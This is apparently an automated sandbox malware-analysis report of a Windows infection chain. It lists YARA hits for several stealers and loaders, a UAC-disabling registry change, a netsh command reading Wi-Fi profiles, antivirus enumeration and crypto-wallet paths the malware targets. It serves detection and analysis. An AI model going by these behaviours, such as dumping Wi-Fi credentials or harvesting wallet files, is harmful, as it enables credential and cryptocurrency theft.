Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression.FileSystem\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.FileSystem.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000234001\ISetup8.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000234001\ISetup8.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000235001\toolspub1.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000235001\toolspub1.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000236001\4767d2e713f2021e8fe856e3ea638b58.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000236001\4767d2e713f2021e8fe856e3ea638b58.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000234001\ISetup8.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\u6po.1.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000234001\ISetup8.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\u6po.1.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000234001\ISetup8.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\u6po.1.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000234001\ISetup8.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\u6po.1.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000234001\ISetup8.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\u6po.1.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000234001\ISetup8.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\u6po.1.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000234001\ISetup8.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\u6po.1.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000234001\ISetup8.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\u6po.1.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000234001\ISetup8.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\u6po.1.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000234001\ISetup8.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\u6po.1.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000234001\ISetup8.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\u6po.1.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000234001\ISetup8.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\u6po.1.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000234001\ISetup8.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\u6po.1.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000234001\ISetup8.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\u6po.1.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000234001\ISetup8.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\u6po.1.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000073001\swiiii.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000073001\swiiii.exe VolumeInformation
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000075001\file300un.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000075001\file300un.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\u6po.0.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\u6po.0.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe

9_2_008BD2B0

Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe

9_2_008BD2B0

Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disables UAC (registry)

Source: C:\Users\user\AppData\Local\Temp\1000075001\file300un.exe

Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System EnableLUA

Uses netsh to modify the Windows network and firewall settings

Source: C:\Windows\System32\rundll32.exe

Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles

Source: RegAsm.exe, 0000001D.00000002.2278813474.0000000002E44000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.2274630744.0000000000D77000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct

Stealing of Sensitive Information

Yara detected Amadey

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Yara detected Amadeys Clipper DLL

Source: Yara match	File source: C:\Users\user\AppData\Roaming\a091ec0a6e2227\clip64.dll, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\clip64[1].dll, type: DROPPED

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 35.0.NewB.exe.e50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 39.0.NewB.exe.e50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.explorha.exe.930000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 39.2.NewB.exe.e50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.amert.exe.610000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.1CMweaqlKp.exe.730000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.explorta.exe.700000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000003.1721215690.00000000011E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000000.2050930258.0000000000E51000.00000020.00000001.01000000.00000015.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000000.2011865777.0000000000E51000.00000020.00000001.01000000.00000015.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1626992485.00000000014C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.1904362561.0000000004F10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1663910421.0000000000C90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1868102298.0000000000611000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1663899661.0000000000731000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.1826787054.0000000004E00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1732128904.0000000000701000.00000020.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000002.2069776940.0000000000E51000.00000020.00000001.01000000.00000015.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1945079164.0000000000931000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.1894101326.0000000005260000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Roaming\a091ec0a6e2227\clip64.dll, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\cred64[1].dll, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\clip64[1].dll, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\NewB[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll, type: DROPPED

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 5348, type: MEMORYSTR

Yara detected Mars stealer

Source: Yara match	File source: 47.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 47.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 51.3.u6po.0.exe.3680000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 44.2.swiiii.exe.3cb5570.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 51.3.u6po.0.exe.3680000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 44.2.swiiii.exe.3cb5570.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000002C.00000002.2151525456.0000000003CB5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000033.00000003.2152173443.0000000003680000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002F.00000002.2102303995.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Yara detected RedLine Stealer

Source: Yara match	File source: 40.0.jok.exe.7c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000028.00000000.2051081332.00000000007C2000.00000002.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: jok.exe PID: 8672, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\jok[1].exe, type: DROPPED

Yara detected RisePro Stealer

Source: Yara match	File source: 00000024.00000003.2840876152.0000000007C6E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000003.2839845792.0000000007CE8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.3354975509.0000000008152000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000002.3088709368.0000000007C6E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3082656269.0000000007D70000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000003.2839809905.0000000007CCF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000003.2840195887.0000000007C6E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000003.2839878527.0000000007C6E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: d361f35322.exe PID: 5772, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MPGPH131.exe PID: 6636, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: d361f35322.exe PID: 8200, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RageMP131.exe PID: 8964, type: MEMORYSTR

Yara detected SmokeLoader

Source: Yara match	File source: 00000031.00000002.2229022734.0000000003640000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000031.00000002.2229087093.0000000003661000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Yara detected Vidar stealer

Source: Yara match	File source: 47.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 47.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 51.3.u6po.0.exe.3680000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 44.2.swiiii.exe.3cb5570.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 44.2.swiiii.exe.3cb5570.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 51.3.u6po.0.exe.3680000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000002C.00000002.2151525456.0000000003CB5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000033.00000003.2152173443.0000000003680000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002F.00000002.2102303995.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Found many strings related to Crypto-Wallets (likely being stolen)

Source: d361f35322.exe, 00000009.00000002.3073575028.0000000001456000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: d361f35322.exe, 00000009.00000002.3073575028.0000000001456000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\ElectronCash\wallets
Source: d361f35322.exe, 00000009.00000002.3073575028.0000000001456000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\com.liberty.jaxx
Source: RegAsm.exe, 0000001D.00000002.2226894863.0000000000CFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: d361f35322.exe, 00000009.00000002.3073575028.0000000001456000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Exodus\exodus.walletRE
Source: d361f35322.exe, 00000009.00000002.3073575028.0000000001456000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Ethereum\wallets
Source: d361f35322.exe, 00000009.00000002.3073575028.0000000001456000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Exodus\exodus.walletRE
Source: d361f35322.exe, 00000009.00000002.3073575028.0000000001456000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance\app-store.jsons8
Source: d361f35322.exe, 00000009.00000002.3073575028.0000000001456000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Ethereum\wallets
